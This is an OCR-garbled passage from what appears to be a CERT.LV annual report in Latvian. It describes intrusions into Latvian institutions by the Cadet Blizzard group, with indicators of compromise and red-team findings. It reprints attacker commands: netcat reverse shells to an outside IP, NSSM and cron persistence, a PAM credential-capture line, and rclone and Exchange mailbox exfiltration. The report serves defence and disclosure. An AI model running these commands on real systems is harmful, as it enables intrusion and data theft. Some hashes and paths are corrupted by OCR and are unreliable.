uzbrucéja darbu, ielauZoties infrastruktdra (T1110).

CERT.LV novéroja ari piegades kézu uzbrukuma gadijumu, kad mérka organizacija
ielauZas netiesi, izmantojot kompromitétus programmatiras vai citu arpakalpojumu
piegadatajus. Uzbrucéjs, kompromitéjot programmatiras izstrades uznémumu Latvija,
faktiski ieguva piekluvi klientu iestadém nedrosi konfigurétu resursu dél, ka arl
VPN/RDP pieslégSanas iespéjam uz citiem augstas vértibas mérkiem — publiska sektora
iestadem. Pieslégumi, protams, izskatas it ka bGtu nakusi no Sis izstradataju kompanijas
(T1195).

Savukart kada IT infrastruktdra tris reizes piedzivoja Sifréjosa virusa uzbrukumu mazak
neka divu nedélu laika. Tas bija iespéjams, jo uzbrucgji izmantoja ievainojamibu pret
eksponétu 2019 Microsoft Exchange serveri, kuram tikpat ka nebija veikti atjauninajumi
pat péc atkopSanas no incidenta.

Divu faktoru autentifikacijas neesamiba, vaja parolu politika un meérkéti pikSkerésanas

uzbrukumi bija céloni vairaku darbinieku e-pastu kontu kompromitésanai, no kuriem
Krievijas atbalstiti haktivisti izguva informaciju - ta gan bija publiska, ne konfidenciala.
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Sadas informacijas izgGi$ana neradija sekas Latvijas iek$é&jai dro&ibai, tomér $is incidents
radija kaitéjumu iestades un valsts reputacijai (T1598,T1566).

Biezi lietotnu ierobeZoSanas politikas (Software Restriction Policy, SRP) un ugunsmira
neesamiba vai nepilniga konfiguracija korporativa tikla iekSiené Jauj paSiem
darbiniekiem apmeklét tadus resursus, kas viniem nav nepiecieSami darba pienakumu
pildisanai, ka ari nesankcionéti lejupieladét programmataru, kas, iespéjams, ir nedrosa
ne tikai pasu darbinieku iekartai, bet art visai korporativajai videi. Aizdomigas saites un
programmatira, pieméram, ar Torrent saistita programmatdra, var bat inficéta, un to
apmeklésana/izmantosana var inficét lietotaja iekartu. Ir konstatéti gadijumi, kad ar
augstu ticamibu sakotnéjai piekluvei ir bijis Sads vektors, attiecigais uzbrucéjs ir bijis
finansiali motivéts un péc lietotaju autentifikacijas lidzeklu nozagSanas iegiutos datus
pardod kadam APT grupé&jumam (T1650).

Konstatéti gadijumi, kad sakotnéja kompromitéSana notikusi péc zibatminas
iesprausanas datora - aréjo datu neséju (USB) un tas izpildamo failu kontroles
neesamibas dé] (T1091). Pieméram, Sadi uzbrukumi sekmigi notikusi Latvija kada liela
universitaté un valstspilsétas paSvaldiba. Abos gadijumos ar inficétu LNK failu
starpniecibu Raspberry Robin launatira celojusi no iekartas uz iekartu (T1204.002).

Vairakos gadijumos, noklGstot mérka infrastruktdra, uzbrucéjam bijusi pieejami vairaki
r1ki, kurus var izmantot, lai nodroSinatu klatbGtni un parvietotos talak pa infrastruktdru.
Latvija vairakkart novérota vairaku attalinatas piekJuves riku izmantoSana viena vidé
(RDP, VPNs, TeamViewer), turklat ir konstatéti gadijumi, kad netiek ierobeZotas IP
adreses, no kuram iespéjams piek]at iekSéjam tiklam. Sistéma jau esoSie izpildamie faili
(Living-off-the-land - LOLBINs) biezi tiek izmantoti, lai uzbrucéji varétu veikt mérka
infrastruktdras izpéti, nesankcionétu lejupieladi un koda izpildi piekjuves tiesibu
paaugstinaSanai vai pastavigai piekluvei (persistence), pieméram, izveidojot
Autoruns/Scheduled Tasks ierakstus, kas nodroSina uzbrucéjam piekluvi pie mérka
infrastruktdras arl péc datora parstartéSanas (T1133, T1021, T1210, T1133, T1037,
T1547,T1543, T1053, T1572).

Gadijumos, kad uzbrucéjs bija nodroSinajis pastavigu klatbatni, CERT.LV novéroja
vairakas droSibas nepilnibas, kas nelava laicigi un efektivi IKT infrastruktdras turétajam
pamantt un apturét uzbrucéja talako ricibu. Nepilniga Windows Defender un ugunsmdra
konfiguracija, tadu novecojusu Windows autentificésanas metozu ka NTML/ Kerberos ar
RC4_HMAC_MDS5 izmantoSana, vaja parolu parvaldiba, glabajot paroles lasama teksta
administratoru iekartas, vienadas paroles administratoru kontiem, novecojusi un/vai
ievainojama programmatdra. Viss iepriekSminétais tika izmantots, lai uzbrucéjs
paaugstinatu savas privilégijas un turpinatu parvietoties talak pa mérka infrastruktdru
(T1548,T1078).

Visbiezak novérotie “klupSanas akmeni”, kurus CERT.LV identificéja ka buatiskus
traucéjumus, kas liedz pasSai meérka iestadei laicigi un efektivi uzraudzit savu
infrastruktdru un reagét uz potencialiem incidentiem, ir sadi:

e Nav centralizéta auditacijas pierakstu uzkrasana un analize;
e Tikla segmentacijas un IT infrastruktiiras inventarizacijas neesamiba;

e Nepareizi konfiguréta vai neeksistéjosa SIEM (Security Information and Event
Management) sistéma;
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e Nepareizi konfiguréta vai neeksistéjosa lietotaju tiesibu parvaldiba un
izpildamo failu politika.

Vidés, kuras ar augstu ticamibu tika apstiprinata ar Krievijas vai Kinas izcelsmi saistita
APT grupéjumu klatbdtne, tika novérota art specifisku riku izmantosana, lai nodrosinatu
pastavigo klatbGtni. 2022. un 2023. gada ietvaros aktivakas citas valsts atbalstitas
kiberoperacijas piekritigas grupéjumam Cadet Blizzard (taja laikd saukts ari par DEV-
0586). Pieméram, kada programmizstrades uznémuma vidé tika konstatéta DEV-0586
klatesamiba. Sakotnéja kompromitéSana notika, izmantojot Atlassian Confluence
ievainojamibu, uzbrucéjam uzstadot savu Webshell (T1659) (ievainojamiba nav zinama).
Sis grup&jums izmantoja tadus rikus ka Ngrok, GOST, Netcat, NSSM, lai ieglitu pastavigo
klatbdtni, izveidojot tuneli, un lai apietu IP adresSu balta saraksta ierobeZojumus, un
piek|Gtu pie iekSéjiem resursiem (T1053,7T1133).

17. attéls. Cadet Blizzard darbibas cikls

Initial access Lateral movement Action on objectives
Exploit server ® Credential access via :
sty Eﬁ) process dumping @’ Exfiltrate data
Deploy Interactive reverse shell
l lmw" m via netcat/GOST 5'& . Deploy destructive

p 5 CANES @ ) : payloads

1™ Pushtunneiing QO Command execution

tools ia Impacket
1 R Leak data / targeted
: S5 = information operations
& m Pivot to Internal |a Disable antivirus and
Network wipe |ogs

Attéla avots: https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-
novel-and-distinct-russian-threat-actor/

Japiebilst, ka ST uzbrucéja darbiba ir novérota jau kop$ 2021. gada. CERT.LV konstatéja,
ka uzreiz péc pirmreizéja kompromitéjuma uzbrucéjs nav veicis destruktivas darbibas,
bet nostiprinajis savu klatbatni, visticamak ar mérki So ieglto privilégiju izmantot
nakotné.

Kibernoziedznieki turpinaja savu uzbrukumu, izglstot datus ar rclone riku, sitot datus
uz koplietoSanas servisiem mega.nz un mega.io, ka arl izglstot lietotaja e-pasta
pastkastes, ar Powershell starpniecibu nogadajot upura pastkastes no infrastruktdras
Microsoft Exchange servera uz uzbrucéja kontrolétu Microsoft Exchange serveri
(T1567).

Turklat CERT.LV novéroja, ka Sis pats uzbrucéjs censas apturét draudu medibu procesus
un veic izlikoSanas skenéSanu no $is vides uz vismaz divam valsts sektora
infrastruktdram. Viena no tam tika konstatéta kiberuzbrucéja klatbltne, kur uzbrucéjs
ieguva doména administratora autentificéSanas datus, un péc tam piekluva vismaz 66
iekartam (T1496, T1489, T1595).

Konstatetie APT grupéjumi; to izmantotie riki un metodes

Talak tiek aplukoti parskata perioda novérotie APT grupéjumi, vinu izmantotas metodes
un riki, un kam Sie specifiskie riki ir tikusi izmantoti, ka ar1 to indikatori.
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DEV-0586 - CADET BLIZZARD

Cadet Blizzard (ieprieks zinams ari ka DEV-0586) ir Krievijas valsts atbalstits grupéjums. Zinams,
ka viens no 81 grupéjuma primarajiem uzbrukumu mérkiem ir Ukraina un NATO dalibvalstis, kas
sniegusas militaru palidzibu Ukrainai. Novérots, ka Ukraina uzbrukumi veikti gan publiskajam
sektoram, gan ar1 IT uznémumiem, kas nodroSina pakalpojumus vai izstrada programmataru
valsts iestadém/organizacijam. Tas tika darits, pielietojot piegades kédes kompromitacijas
tehniku “compromise one, compromise many”. Péc iekliSanas mérka infrastruktdra, grupéjums
veic attiecigu riku uzstadiSanu, sistému konfiguraciju, lai piekJuve tam tiktu nodrosinata vairaku
ménesu garuma. Nereti tiek veikta datu exfiltracija tieSi 1su bridi pirms tiek veiktas destruktivas
darbibas mérka datortikla.

Avots: https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-
and-distinct-russian-threat-actor/

IZLOUKOSANAS FAZE (RECONAISSANCE)

APT grupéjuma izlikoSanas faze notiek uzbrukuma sakuma jeb pirms ir sakusies
uzbrukuma aktiva faze. Kiberuzbrucéji $aja fazé apkopo batisku informaciju par mérki,
pieméram, sistémas/tikla konfiguracijas, IP adreses, atvértie porti, doména vardi un
potencialas ievainojamibas, kas varétu kalpot ka sakotnéjais uzbrukuma vektors, lai
ieklGtu mérka sistéma.

IZMANTOTIE RIKI UN KOMANDAS

Network Mapper ir tikla skenéSanas riks, ko izmanto, lai atklatu citus

NMAP datorus/iekartas un servisus datortikla.
NMAP tiek izmantots dazadas jomas, tostarp IT drosiba, sistému administrésana
un tiklu izpéte, tomer ir japievérs uzmaniba tam, ka NMAP var tikt izmantots arl
Jaunpratigos nolikos. CERT.LV izgutajos artefaktos no mérka organizacijas IT
infrastruktdras redzams, ka uzbrucéjs izmantojis NMAP, lai jau kompromitéta
datortikla identificétu paréjas iekartas ar atvértiem attalinatas piek|uves portiem,
ka arm méginajis noteikt pieejamo servisu versijas. Redzams, ka ir mekléti tadi
popularu servisu porti ka SSH (22), SMB (445), RDP (3389), “Microsoft” SQL Server
(1433), PostgreSQL (5432), HTTP (80 un 8080), HTTPS (443), MySQL (3306) un citi.
Merkis visticamak bija tikla izpéte, lai nakamajas operacijas fazés varétu
kompromitét ari citus tiklus/iekartas, pieméram, izmantojot ievainojamibas
Novecojusas servisu versijas.

Komandrinda:

nmap -p22,445,3389,1433,5432,80,443,8080,3306 iestades_iekstikls1/16 --open -0A tiklsl.net
nmap -sV --top-ports 100 iestades_iekstikls2/24 --open -0A tikls2.net

nmap -sV -p 663,10443,8081,8080 iestades_iekstikls1/24 --open

nmap -p 22,445,3389,1433,5432,80,443,8080,3306 iestades_iekstikls3/24 —open
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WINDOWS IEKARTAS | PASTAVIGAS PIEKLUVES
NODROSINASANAS FAZE (PERSISTENCE)

Draudu medibu laika tika novérotas dazadas metodes, kas izmantotas, lai nodrosSinatu
piekluvi mérka resursiem péc iekartu parstartédanas. Sis ir vissvarigakais solis
uzbrukumu kédé, jo nodrosina ilglaicigu un noturigu iespéju uzbrucéjiem atrasties
mérka infrastruktdra.

NGROK  Legitima makonpakalpojumu tuneléSanas programmatira, kas izplata localhost uz
aréjo tiklu. To izmantojot, iespéjams apiet iekSéjo tiklu segmentaciju un piek]at
iek§gjiem resursiem, neizmantojot VPN. Sis uzbrucéjs ir izmantojis NGROK, lai
izveidotu varteju jau kompromitétas vidés un apietu ugunsmira ierobezojumus.

Indikatori:

MD5: 074863c3352d6ddal7dcb8bdc6a8929f

Datne: (Parsaukts binarijs) C:\ProgramData\USOPublic\UpdatePublic\updcheck.exe
Datne: (Parsaukts binarijs) C:\ProgramData\UpdateRd\rdupdsv.exe

Datne: (Parsaukts bindrijs) C:\PogramData\VsLogon\vscheck.exe

Datne: C:\ProgramData\UpdateRd\ngrok.exe
Datne: C:\ProgramData\UpdateRd\server.yml
Serviss : NettworkG2W

Serviss : RdStatusUpdate

Serviss : VsCheck

Komandrinda:

cat server.yml

cat server.yml

C:\ProgramData\UpdateRd\ngrok.exe C:\ProgramData\UpdateRd\rdupdsv.exe
Is

.\nssm.exe install RdStatusUpdate "C:\ProgramData\UpdateRd\rdupdsv.exe
config=\"C:\ProgramData\UpdateRd\server.yml\""

.\nssm.exe start RdStatusUpdate

.\nssm.exe stop RdStatusUpdate

.\nssm.exe remove RdStatusUpdate confirm

start --all --

GOST jeb A GO Simple Tunnel ir tuneléSanas programmatdra.

GOST S _ . . S
CERT.LV novéroja SiIs programmatdras izmantoSanu ar iepriekS§ minéta NGROK
rika starpniecibu, kas |ava uzbrucéjiem apiet IP adresu ierobezojumus un piek|at
pie upura iekSéjiem resursiem.

Indikatori:

MD5: 96e0f54fc67d72d94b40d7885f10c51

Datne: (Parsaukts bindrijs) C:\ProgramData\UpdateRd\rdchecksv.exe
Datne: (Parsaukts bindrijs) C:\ProgramData\USOPublic\UpdatePublic\updusosetup.exe
Datne: (Parsaukts binarijs) C:\ProgramData\VsLogon\vslogon.exe
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Datne: C:\ProgramData\UpdateRd\gost.exe
Serviss : RdStatusScheck
Serviss : updusosetup.exe

Serviss : vslogon.exe

Komandrinda:

mv C:\ProgramData\UpdateRd\gost.exe C:\ProgramData\UpdateRd\rdchecksv.exe

.\nssm.exe install RdStatusCheck "C:\ProgramData\UpdateRd\rdchecksv.exe" "-L socks5://:13559"
.\nssm.exe start RdStatusCheck

Bezmaksas starpniekservera risinajums.

3PROXY Mérka infrastruktdra tas tika uzstadits ka serviss ar nosaukumu 3PROXY un

izmantots kopa ar NGROK tunelésanas riku, lai uzbrucéjs varétu piek]it iekSéjam
tiklam un eksfiltrét informaciju.

SHA256:39b69a5cdde8c653cbb4db19e6d575298864ba91f49e91e3e51783c0c946ee7a

Lieto publiskos DNS serverus 8.8.8.8 un 1.1.1.1, lai apietu lokalo DNS serveri. Tomér
nevar izslégt, ka faili varétu bat izpildama datne, un konfiguracijas fails tika atrasts
sados celos:

(path): c:\Program Files\VMware\VMware Tools\plugins\bin\, c:\Program Files
(x86)\Microsoft.NET\RedistList\bin\, c:\Program
Files\WindowsPowerShell\Configuration\Registration\bins\, C:/Program Files (x86)/Microsoft SQL
Server/100/bin, C:/Users/Administrator/Downloads/bin/bin/ vai C:\Program Files
(x86)\MSBuild\Microsoft\VisualStudio\v14.0\bin\,

izplatiti arT citur failu sistema.

IzmantoSanai palaista sekojosa komanda:.\3proxy.exe --install .\3proxy.cfg

Parasti izmanto portu TCP/4337.

Komandrindas programmatira, kas izmanto TCP un UDP protokolus, lai
NETCAT komunicétu ar citam tikla iekartam (pieméram - lasitu, rakstitu).

jeb NC

MD5: 523613a7b9dfa398cbd5ebd2dd0f4f38
Datne: (Parsaukts bindrijs) C:\ProgramData\PackageLauncher\pkglauncher.exe
Datne: (Parsaukts bindrijs) C:\ProgramData\VmTelemetry\vmtelemetry.exe

Komandrinda:

C:\ProgramData\PackagelLauncher\pkglauncher.exe -e c:\windows\system32\cmd.exe 179.43.142.42
14553
C:\ProgramData\VmTelemetry\vmtelemetry.exe -e c:\windows\system32\cmd.exe 179.43.142.42 18441

NSSM (Non-Sucking Service Manager) funkcija ir nodrosinat to, ka konkréta

NSSM programmatdra tiks uzstadita ka serviss uz attiecigas iekartas. Ar NSSM
iespéjams monitorét programmatdras/servisa statusu un automatiski
apstradat kladas, ja tadas rodas programmatiras izpildes procesa, tada veida
nodrosinot maksimalu servisa pieejamibu.

Uzbrucéji biezi izmanto NSSM, lai uzstaditu Jaunatlru ka servisu, jo tas
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nodros$ina Jaunatlras noturibu uz sistémas arl péc restarta. Tapat laundari,
izmantojot NSSM, var modificét uz iekartas esoSus legitimos servisus,
pielagojot tos saviem nolukiem.

Indikatori:

MD5: beceae2fdc4f7729a93e94ac2ccd78cc
MD5: d9ec6f3a3b2ac7cd5eef07bd86e3efbc
SHA256:f689ee9af94b00e9e3f0bb072b34caaf207f32dch4f5782fc9ca351df9a06c97

Uzbrucgjs izmantojis nssm.exe, lai Jaunatdru saturoso izpildamo datni
(C:\ProgramData\UpdateRd\rdchecksv.exe) uzstaditu ka servisu. Servisu nosaucis par RdStatusUpdate.

Komandrinda:

> \nssm.exe install RdStatusCheck "C:\ProgramData\UpdateRd\rdchecksv.exe" "-L socks5://:13559"
> \nssm.exe start RdStatusCheck

> tasklist | findstr "rd"

> \nssm.exe install RdStatusUpdate "C:\ProgramData\UpdateRd\rdupdsv.exe" "start --all --
config=\"C:\ProgramData\UpdateRd\server.ym/\""

> .\nssm.exe start RdStatusUpdate

> \nssm.exe stop RdStatusUpdate

> .\nssm.exe remove RdStatusUpdate confirm

LINUX IEKARTAS | PASTAVIGAS PIEKLUVES
NODROSINASANAS FAZE (PERSISTENCE)

Root lietotaja cronjob lietoSana - izveidots skripts, kas uz SOCKS5 un NGROK bazes
izveido Sifretu tuneli, izmantojot konkrétu portu. Tika iestatits, ka Sis skripts izpildijas
katru dienu plkst. 01:00. Skripta saturs:

#!/bin/bash

killall ngrok

killall gost

gost -L=socks5://:4337 > /dev/null 2>&1 &
ngrok tcp 4337 > /dev/null 2>&1 &

Skripta pédéja linija izsauc NGROK izpildamo failu, noradot TCP opciju, kas izveido
agentu, kas klausas, izmantojot 4337. portu, un |auj sttit jebkada veida TCP plismu,
pieméram, SSH.

Pieejas datu glabasana - novérots gadijums, kur, izmantojot pam moduli, tika saglabati
visu lietotaju pieejas dati, kas pieslédzas serverim. Pasu funkcionalitati veica izpildamais
fails un pam konfiguracijas moduli /etc/pam.d/sshd tika ievietota $ada rinda, kas
iespéjo So binarija darbibu:

auth requisite /usr/lib/pam_syst.so #%PAM-1.0

Jusr/lib/pam_syst.so faila jaucéjvértiba - 167fe17438fdf87d2931c1128e07fac7

Aplikotais izpildamais fails jeb binarijs izveido failu ar $adu saturu:

User=root Pass=REDACTED Host=IP1
User=REDACTED Pass=REDACTED Host=IP2
User=root Pass=REDACTED Host=IP3
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User=REDACTED Pass=REDACTED Host=IP4
User=root Pass=REDACTED Host=domain
User=REDACTED Pass=REDACTED

RINCORRECT

Host=IP1

User=REDACTED Pass=REDACTED Host=IP1
User=REDACTED Pass=REDACTED Host=IP2

Aplikotas Linux persistence metodes lidzinas tam, ko pamanija ar1 Ukrainas IT incidentu
novérosSanas iestade CERT-UA, turklat, ka to autoru noradot kiberuzbrucéju grup&jumu
DEV-0586. Stkak ar to iespéjams iepazities timek|a vietné:
https://cert.gov.ua/article/3947787 .

Indikatori:

179.43.142.42
179.43.187.47
52.202.168.65
54.161.241.46
54.237.133.81

18.205.222.128
mega.io
mega.nz
https://mega.io
https://mega.nz

DATU EKSFILTRACIA

Rclone ir atvérta pirmkoda komandrindas riks, ar kura palidzibu var
RCLONE sinhronizét/migrét datnes un direktorijas starp/uz dazadiem
makonpakalpojumiem.

Uzbrucéjs izmantoja rclone.exe (jaucéjvértiba nav pieejama) programmatdru, lai veiktu
izglto datu parsatisanu no mérka iestades uz makonpakalpojumu mega.nz un mega.io.

Komandrinda:

> Compress-Archive -Path D:\Backup\STAGE_3.1.1_v3.bak -DestinationPath
C:\ProgramData\SyncScv\logupfile202218653421.zip -CompressionLevel Optimal

> s

> cmd /c .\rclone.exe copy D:\Backup\STAGE_3.1.1_v3.bak mega:[redacted] -q --ignore-existing --auto-
confirm --multi-thread-streams 7 --transfers 7

> s

> PS C:\ProgramData\SyncScv> Is

> s

> cmd /c .\rclone.exe copy C:\ProgramData\SyncScv\winservice.exe mega:[redacted] -q --ignore-existing -
-auto-confirm --multi-thread-streams 7 --transfers 7

> cmd /c .\rclone.exe copy D:\[redacted]\documents\ mega:[redacted] -q --ignore-existing --auto-confirm
--multi-thread-streams 7 --transfers 7

> tasklist

> taskkill /f /im rclone.exe

CERT.LV noveéroja, ka S8is wuzbrucéjs ar Powershell

MICROSOFT EXCHANGE - s _. _ .
starpniecibu eksfilté datus uz uzbrucéju kontrolétu serveri.

PASTKASTES EKSFILTRACIJA
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Komandrinda:

powershell New-MailboxExportRequest -Mailbox [redacted] -FilePath
"\\179.43.187.47\sharefolder\1.pst'

powershell Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Snapin;New-
MailboxExportRequest -Mailbox [redacted] -FilePath "\\179.43.187.47\sharefolder\1.pst"
powershell .\logexport.psl -RemoteExchangeServer [redacted] -User [redacted] -PSTFilePath
\\179.43.187.47\sharefolder

powershell Is \\179.43.187.47\sharefolder

LAZYSCRIPTER

Nav daudz informacijas par $o APT grupé&jumu. Sis grup&jums galvenokart zindms ar mérkétiem
uzbrukumiem aviacijas industrijai.

Ta izmantotam tehnikam un rikiem ir lidzibas ar Krievijas FSB grupéjumu, APT-28.

Latvija “LAZYSCRIPTER” grupéjuma klatbltne tika novérota viena publiska sektora
iestade.

Indikatori:
URL: hxxp[://1hpsj[.]firewall-gateway[.]net:80/hpjs[.]php
Scheduled task: AChromeUpdater

Scheduled task: AChromeUpdaterl

%CERT. LV
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https://www.malwarebytes.com/blog/news/2021/02/lazyscripter-from-empire-to-double-rat
https://www.ncsc.gov.uk/news/indicators-of-compromise-for-malware-used-by-apt28

LIS

CERT.LV IT drosibas testi un
kontroletu uzbrukumu veiksana

IT droSibas testi

IT drosibas testu un kontrolétu uzbrukumu jeb Red Teaming aktivitates mérkis ir atrast
kritiskas vai augstas bistamibas ievainojamibas. Parskata perioda laika CERT.LV veica 16
drosibas testus. To gaita tika konstatétas Sadas butiskakas ievainojamibas:

e SQL injekciju ievainojamibas mérka resursu autentifikacijas formas;

e Autentifikacijas apieSana ar valsts informacijas sistemu saistita resursa;

e Lokalo failu iekl]ausanas (LFl) ievainojamiba valsts informacijas sistéma;

e Novecojusas timekla servisu versijas, kas satur zinamu kritisku ievainojamibu
kritiskas infrastruktdras objekt3;

e Nepietiekama ievades datu parbaude kritiskas infrastruktiras objekta.

GOV.LV RedTeam kampana

CERT.LV savas kompetences ietvaros veica kontrolétu kiberuzbrukumu kampanu ar
mérki atrast kritiskas vai augstas bistamibas ievainojamibas .gov.lv doména zonas
resursos, pirms kads tas izmanto Jaunpratigi.

Gov.lv resursu izlukoSana un ievainojamibu meklésana

Darba laika tika apzinati aptuveni 2700 domeéni ar otra limena domeéna vardu .gov.lv.
Izmantojot automatizétu un manualu metoZzu un riku kombinaciju ievainojamibu
meklésana, identificéti vairaki apdraudéti resursi.

Identificétas ievainojamibas ir vairakus gadus vecas, un sistémas, uz kuram tas
konstatéts, tika uzturétas valsts nozimes datu centros. Tas liecina par to, ka nedz
sistemu uzturétaji, nedz valsts nozimes datu centri nav sekojusi lidzi izmantoto
programmu versijam, kas veido kritiski augstus riskus, ka sistéemas var sekmigi
kompromitét uzbrucéji.

Manuala ievainojamibu mekléSana

Dala no identificeto mérka sistému doméniem CERT.LV veica padzilinatu analizi un
ievainojamibu meklésanu, ka rezultata tika atrastas vairakas kritiskas ievainojamibas
.gov.lv zonas doménos. Kadas ministrijas parraudziba esosas iestades informacijas
sistemas tika identificéts personalizéts Joomla modulis, kura vairaki parametri ir
ievainojami ar SQL injekcijam.

Atklata ievainojamiba uzbrucéjam lava no datu bazes izgut visus datus, tai skaita

sistémas lietotajus un vinu paroles vai parolu jaucéjsummas. Atseviskos gadijumos
ievainojamiba |ava uzbrucéjam ieglt nesankcionétu koda izpildi uz servera.
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Savukart kada publiska sektora iestadé identificéts, ka tas timekla vietné tiek izmantots
skripts Pagemap ImageWall Web Gallery v 1.2. Veicot $1 skripta koda auditu, tika
identificéta ievainojamiba. Secinats, ka netiek pienacigi parbaudits parametrs image,
tadéjadi caur to ir iespéjams nolasit jebkuru sistémas failu.

Turklat vel kada publiska sektora iestade, izmantojot direktoriju skenésanu, tika atrasts,
ka bez ierobezojumiem ir pieeja failu augSupielades mapei, kura tiek glabati sensitivi,
iespéjams, operativas darbibas rezultatu faili.

Saja pasa vietné tika identificéts ari endpoint /filemanager/file/index, kas lauj
uzbrucéjiem augSupieladét failus, neparbaudot to saturu, tadéjadi iespéjams
augsupieladet ar1 .php failus un ieglt attalinata koda izpildi uz servera, pilniba
parnemot par to kontroli.

Secinajumi un ieteikumi

1. Tika apzinati daudzi aizmirsti un neatjaunoti resursi, tadé] sistému uzturétajiem
vajadzétu uzturét aktualu inventara un programmataras versiju sarakstu, sekot
[1dzi to atjauninasanas cikliem, veikt drosibas telemetrijas apstradi.

2. Sistému uzturétajiem ieteicams regulari lietot ievainojamibu skenésanas
programmas, vai izmantot arpakalpojumus, lai sekotu lidzi ievainojamibam.
Pieméram, nikto un nuclei ir atvérta koda programmas, un tas darbojas atri un ir
viegli lietojamas.

3. Péc sistémas publicésanas vai butisku atjauninajumu uzlik§anas vélams veikt
vietnes droSibas testésanu.

4. Jaseko labai praksei, veicot vietnes konfiguraciju, tai skaita:
e pielagot sistémas klGdu attéloSanu lietotajiem, kas neizpauz vietnes
sensitivo informaciju;
e ierobeZot pieeju lietotnes izstradés failiem vai tos dzést;
e veidot rezerves kopiju arpus timekJa (web) lietotajam pieejamam
mapém, uz citas sistémas ar ierobeZotu piek|uvi;
5. lespéju robezas jaizmanto Web Application Firewall (WAF) risinajumi, kas bloké
dalu no launpratigiem méginajumiem kompromitét vietni, tacu tos nedrikst
uzskatit par ielapiem nedrosi uzturétam sistémam.

V’VCERT-LV
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Operacionalo tiklu (OT) un
industrialas kontroles sistemu
drosiba

Uzsakts jauns projekts saistiba ar OT tiklu sensoru izstradi

Operacionalo tiklu (OT) sensoru galvenais mérkis ir spét atpazit laundabigas darbibas
dazados Latvijas tehnologiskos tiklos, kurus liela dala gadijumu uztur IT kritiskas
infrastruktlras objektos.

Projekta ietvaros paredzéts apmacit IT sensorus atpazit industrialus protokolus, tajos
notiekosas legitimas un laundabigas darbibas.

Parskata perioda projekta istenoSana ir uzsakta ar IEC104, jo Sis protokols ir galvenais
komunikacija starp Supervisory Control and Data Acquisition (SCADA) un Remote Terminal
Unit (RTU) vairakos uznémumos energétikas nozaré.

Turpinas darbs pie industrialas kontroles sistému laboratorijas pilnveidosanas, tikla plismas
analizes, dazada veida laundabigu darbibu pazimju pétisSanas un simulacijas, riku izpétes un
citiem aspektiem.

LTI
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LTI

6. levainojamibas un
ietekmejamas sistemas

6.1. CERT.LV darbs pie ievainojamu sistemu
identificéesanas

Informacijas tehnologijas pastavigi attistas, un

lidz ar to arvien augstakas ir prasibas datu un ' ldentificéjot un novértéjot
informacijas sistému drogibai. ievainojamibas, iespéjams
Saja konteksta svarigs aspekts ir ievainojamibu ' efektivi sagatavoties un

konceptvu saprasana“ un vto ietekmes aizsargaties pret
novértésana. Informacijas drosibas konteksta

ta ir potenciala sistémas vai programmatdiras u?spejamlem Lo
nepilniba, kuru kiberuzbrucégji var izmantot, lai | Kiberuzbrukumu riskiem.
ieklitu  sistéma, piekldtu konfidencialai

informacijai vai izraisitu citas negativas sekas. levainojamibu monitorings

ir neatnemams process, lai
Lielaka dala uzbrukumu tiek veikti, izmantojot ’ _p . ! .
publiski zinamas ievainojamibas, nevis saglabatu datu integritati,

jaunatklatas ievainojamibas (zero-day), tapéc ' konfidencialitati un
savlaicigai ievainojamu sistému apzinasanai un pieejamibu, veidojot
ievainojamibu lapisanai (patching) ir potencials - . = ..
levainojamibu lapisanai (patching) ir potenci noturigu informacijas

butiski uzlabot kiberdroSibas situaciju. L T
sistemu pret launpratigu

levainojamibas skaitlos izmantosanu un aréjiem

draudiem.
CERT.LV regulari veic visaptveroSu CVE
monitoringu, kas ir sasaistams ar eksponétiem
servisiem/iekartam, un ir apkopojis rezultatus par 2023. gadu.

Kopuma novéroti 106 870 notikumi no dazadiem datu plismas avotiem.

Zemak pievienotais attéls ataino ievainojamibas pret iekartam, sniedzot ieskatu to
bieZuma un lauj hronologiski novértét to apjomu un ietekmi uz iericém, kas atrodas
Latvija.

Sis apkopojums var bat ka pamats, lai identificétu un savlaicigi pasargatu
iestades/lietotajus no kompromitésanas draudiem.

Ka piemérs, SSH izzinota ievainojamiba gada nogalé, atspogulojas 18. attéla vieta, kura
redzam piki, kas skaidrojams ar popularo servisu, kas tiek eksponéts visai bieZzi.
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18. attéls. Notikumu skaits 2023. gada

45000
40000
35000
30000
25000
20000
15000

10000

5000

No kopéja notikumu skaita secinams (sk. 18. attélu), ka lielaka dala ievainojamibu ir
vértéjamas ka kritiskas.

Sadas ievainojamibas bieZi vien ietver iespéju attalinati vai patvaligi izpildit kodu, kas
var radit nopietnas sekas ievainojamai sistémai/programmai, tadéjadi nopietni
apdraudot visu IT infrastruktdru.

Lai arT ne vienmér péc ievainojamibas izzinoSanas uzreiz ir pieejams exploits, tomér ir
ieteicams veikt preventivus pasakumus, lai samazinatu risku.

19. attéls. CVE tendence péc kritiskuma pakapes (%)

m Kritisks
= Augsts
m Vidéjs
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Kritiskas ievainojamibas (CVE)

CERT.LV turpina informét publiska un privata sektora organizacijas par jaunatklatam
kritiskam ievainojamibam un veicamajam darbibam iestades iekartu un tiklu pasargasanai.

Parskata perioda péc CERT.LV novérojumiem drosibas incidenti galvenokart ir radusies
eksponéta/neaizsargata servisa un/vai iekartas del. Lai ari eksponésana nodrosina
atraku piekluvi meéerka sistémai un rada mazaku piepuli konfigurésana, ta ar1 rada
drosibas risku, Tpasi, ja tie vélak tiek piemirsti un netiek pienacigi aizsargati.

20. attéls. Novéroto ievainojamibu TOP 10

CVE-2023-27997
CVE-2023-27898

CVE-2020-0688
CVE-2021-27065
CVE-2023-36745
CVE-2023-36439

CVE-2023-5631
CVE-2022-41082

CVE-2023-21529
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CERT.LV aicina rapigi sekot Iidzi izstradataju noradijumiem un nevilcinoties atjauninat
programmatiras uz jaunako pieejamo versiju. Ar visiem aktualajiem bridinajumiem un
rekomendacijam to novérsanai var iepazities timek|a vietné www.cert.lv.
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2023. gada laika novéroto CVE saraksta ieklautas biitiskakas ievainojamibas

CVE

Skartais
produkts

Apraksts

CVE-2023-48795

CVE-2023-21529,
CVE-2022-41082

CVE-2023-5631

CVE-2021-21974

CVE-2019-0708

CVE-2023-36439
CVE-2023-36745
CVE-2021-27065
CVE-2020-0688

CVE-2023-27898

CVE-2022-37042

CVE-2023-27997

SSH

Microsoft

Roundcube

VMware

Microsoft

Microsoft

Jenkins

Zimbra

Fortinet

Vidéja riska ievainojamiba. Citiem vardiem - Terrapin
uzbrukums, kas vérsts uz SSH protokolu integritati. Pielagojot
secibas numurus (sequence number), uzsakot komunikacijas
